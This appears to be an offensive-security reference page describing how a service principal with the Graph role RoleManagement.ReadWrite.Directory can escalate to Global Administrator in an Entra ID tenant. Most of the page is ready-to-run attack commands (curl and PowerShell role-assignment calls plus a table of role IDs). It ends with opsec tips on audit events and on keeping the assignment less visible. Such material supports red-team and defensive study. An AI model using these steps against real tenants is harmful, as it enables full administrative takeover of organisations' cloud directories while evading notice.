AZMGGrantRole
The source service principal holds the MS Graph app role RoleManagement.ReadWrite.Directory, enabling it to assign any Entra ID directory role (including Global Administrator) to any principal.
Applies to: AZServicePrincipal β AZTenant (via MS Graph API)
Linux Abuse
Step 1 β Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Step 2 β Assign Global Administrator to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Assign any other admin role
# List available role definitions
curl -s "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, id}'
# Assign Privileged Role Administrator
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "e8611ab8-c189-46e8-94e1-60213ab1f814",
"directoryScopeId": "/"
}'
Windows Abuse
BARK β assign Global Admin
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
New-EntraRoleAssignment `
-PrincipalID "<object-id>" `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Assign via directoryRoles (legacy endpoint)
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId <object-id>
Common Role Definition IDs
| Role | ID |
|---|---|
| Global Administrator | 62e90394-69f5-4237-9190-012177145e10 |
| Privileged Role Administrator | e8611ab8-c189-46e8-94e1-60213ab1f814 |
| Application Administrator | 9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3 |
| Cloud Application Administrator | 158c047a-c907-4556-b7ef-446551a6b5f7 |
| User Administrator | fe930be7-5e62-47db-91af-98c3a49a38b1 |
Opsec
- Audit event: "Add member to role outside of PIM (permanent)" β includes actor, target principal, role name.
- Assigning to a service principal (vs user) is less visible in portal dashboards.
- After role assignment, re-authenticate with the target principal to inherit new permissions.
- Required app role:
RoleManagement.ReadWrite.Directory(9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8).